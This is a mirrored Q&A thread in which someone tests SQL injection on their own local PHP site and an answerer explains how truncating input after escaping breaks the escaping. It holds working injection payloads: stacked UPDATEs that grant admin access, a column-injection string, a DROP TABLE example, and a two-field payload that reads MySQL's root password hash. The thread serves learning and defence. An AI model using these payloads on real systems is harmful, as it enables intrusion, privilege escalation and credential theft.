Question

So I found this vulnerability in my website for testing (on a local network)...

mysql_query("UPDATE $table_classes SET name = '$fullname9' , sort = '$sort246', welcome = '$welcome_text', show_teacherpage = '$show_teacherpage' WHERE id = '".$class_id."'");

main problem lying here...

$welcome_text = sanitize($_POST['welcome_text'], 500 , 'U');

$welcome_text can be 500 characters and has a U parameter set which means it essentially leaves the input untouched and only add slashes (escape characters) where it sees fit. It doesn't filter keywords line INSERT, OR, etc.

So it looks like I can try something cheeky like this inside the text form...

a' WHERE id = '".$class_id."'; UPDATE syn_users SET access = '1111111111111111,1111111111111111111111' WHERE username = 'usertwo'; UPDATE $table_classes SET welcome = '$fullname9

With the query becoming...

mysql_query("UPDATE $table_classes SET name = '$fullname9' , sort = '$sort246', welcome = 'a' WHERE id = '1'; UPDATE syn_users SET access = '1111111111111111,1111111111111111111111' WHERE username = 'usertwo'; UPDATE syn_classes SET welcome = 'a', show_teacherpage = '$show_teacherpage' WHERE id = '".$class_id."'");

escalating my access privileges to those of an admin. After entering this input I expect one of two things to happening. Either I get a query error because I herp derped a quote mark somewhere or a success in which case I gain my new privilege status and also the welcome message on the show page becomes a.

But this doesn't happen. What instead happens is that on the show page I get back exactly what I put into the form. So the database just happily sucked up my un-sanitized injection without actually doing anything, leaving an evident trace of my ill intent in a text field somewhere. I've been beating my head over the wall for a couple of hours now and I can't quite figure out what's causing this...

My notes from security class have examples like this...

statement = "SELECT * FROM users WHERE name = '" + userName + "';"

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM 
userinfo WHERE 't' = 't';

Which is essentially what I'm trying to do, or am I misunderstanding something somewhere. Also magic quotes is turned off.

EDIT:

Okay, so I got that depreciated sql functions don't allow for ; .

This led me to try a similar exploit else where.

mysql_query("UPDATE $table_users SET name='$fullname9', username='$username8b9', email='$email07e', class='$class4c8', type='$typeb0f', project = '$comma_separated_project', initial = '$initiald' WHERE id = '".$student_id."'");

BOOM. I drop this into the form field...

a', access ='1111111111111111,1111111111111111111111

resulting in this...

mysql_query("UPDATE $table_users SET name='a', access='1111111111111111,1111111111111111111111', username='$username8b9', email='$email07e', class='$class4c8', type='$typeb0f', project = '$comma_separated_project', initial = '$initiald' WHERE id = '".$student_id."'");

Yet, again the same thing happens.

Sanitize function is as follows.

 if ($typeb0f == "I")
{
    //return only integer
    $result4 = intval($inputf1e);
}
elseif ($typeb0f == "S")
{
    $result4 = preg_replace("/<script[^>]*>[^<]+<\/script[^>]*>/is"
                 ,"", $inputf1e);
    $result4 = preg_replace("/<\/?(div|span|iframe|frame|input|body"
                     ."textarea|script|style|applet|object|embed|form)[^>]*>/is"
                 ,"", $result4);
    $result4 = sql_addslashes($result4) ;
}
elseif ($typeb0f == "A")
{
    //only allow alpha characters + @
    $inputf1e = preg_replace("/[^a-zA-Z0-9]@/", "", $inputf1e);
    $result4 = sql_addslashes($inputf1e);
}
elseif ($typeb0f == "U")
{
    //leave untouched, only add slashes if needed.
    $result4 = sql_addslashes($inputf1e);
}
else
{
    //trigger error, we should not enter here
    trigger_error('Sanitize function error: wrong parameter given', E_USER_WARNING);
}
if ($length8 != 0)
{
    //limit the input to $length8 
    $result4 = substr($result4, 0 , $length8);
}

return $result4;

Like I said in the comments it isn't a good one.

Was it helpful?

Solution

Your sanitize function fails to escape the string properly when an added backslash happens to be at the last position of the allowed string length.

Suppose that we only want to have strings up to 5 instead of 500 characters and that $_POST['welcome_text'] contains 4 As and one single quote:

$_POST['welcome_text'] = "AAAA'";

Now if we call sanitize($_POST['welcome_text'], 5 , 'U'), the sql_addslashes may escape the string properly, e. g.:

AAAA\'

However, since the string is truncated to 5 characters after the escaping, the retuned string is actually

AAAA\

This placed in the given UPDATE statement would obviously make the closing string delimiter being escaped and the string literal is continued until the next non-escaped single quote:

… welcome = 'AAAA\', show_teacherpage = '…

This alone would only make the statement syntactically incorrect and thus fail. However, if there are more parameters that are ‘sanitized’ this way, one may able to inject SQL code. For example:

welcome_text:     AAAA'
show_teacherpage: , other_column = (SELECT password FROM mysql.user WHERE user = 0x726F6F74 LIMIT 1) #

This would result in:

… welcome = 'AAAA\', show_teacherpage = ', show_teacherpage = (SELECT password FROM mysql.user WHERE user = 0x726F6F74 LIMIT 1) #

welcome would contain the value AAAA', show_teacherpage = and show_teacherpage would hold the root user’s password.

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top